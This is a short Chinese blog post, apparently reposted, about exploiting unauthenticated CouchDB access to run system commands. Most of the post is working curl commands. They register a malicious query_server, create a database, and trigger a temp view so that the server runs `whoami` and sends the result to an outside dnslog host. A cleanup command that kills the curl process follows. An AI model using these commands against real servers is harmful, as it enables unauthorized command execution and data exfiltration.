内容简介：Couchdb未授权访问可执行系统命令（利用cloudeye神器回显）
前几天booooom在群里发了个couchdb执行系统命令的word
学习了一下，记录下
新增query_server配置，这里执行curl+回显whoami命令
Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"curl couchdb.334cf9.dnslog.info/?whoami=`whoami`"'
新建一个临时表，插入一条记录
curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb' curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
调用query_server处理数据
curl -X POST 'http://xx.xx.xxx.xx:5984/testdb/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
调用之后，一直在请求，我直接提前结束请求了，因为我要去执行pkill命令k掉curl进程...不然会一直请求...会产生很多日志...
因为执行之后curl命令也会在后台一直请求，所以要K掉
Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"pkill -9 curl"'
最后效果如下
后面跟大表哥@Salime讨论了很久，发现新建表不能写入特殊符号，以及插入数据不可控，所以不可控，导致不能回显，或者说暂时没有找到很好的回显办法，现在只能算是隐式命令执行...如果你有好的办法回显结果，可以评论或者加我qq934817794聊聊...
最后由 admin 编辑于2016年05月22日 00:39
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
- 命令行神器 Click 快速上手
- 数据库操作命令行神器：mycli
- 堪称神器的命令行工具系列之 curl
- 操作数据库的命令行神器：mycli
- 提升开发效率 N 倍的 20+ 命令行神器（附 demo）
- 推荐九个堪称神器的命令行工具给程序员们
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
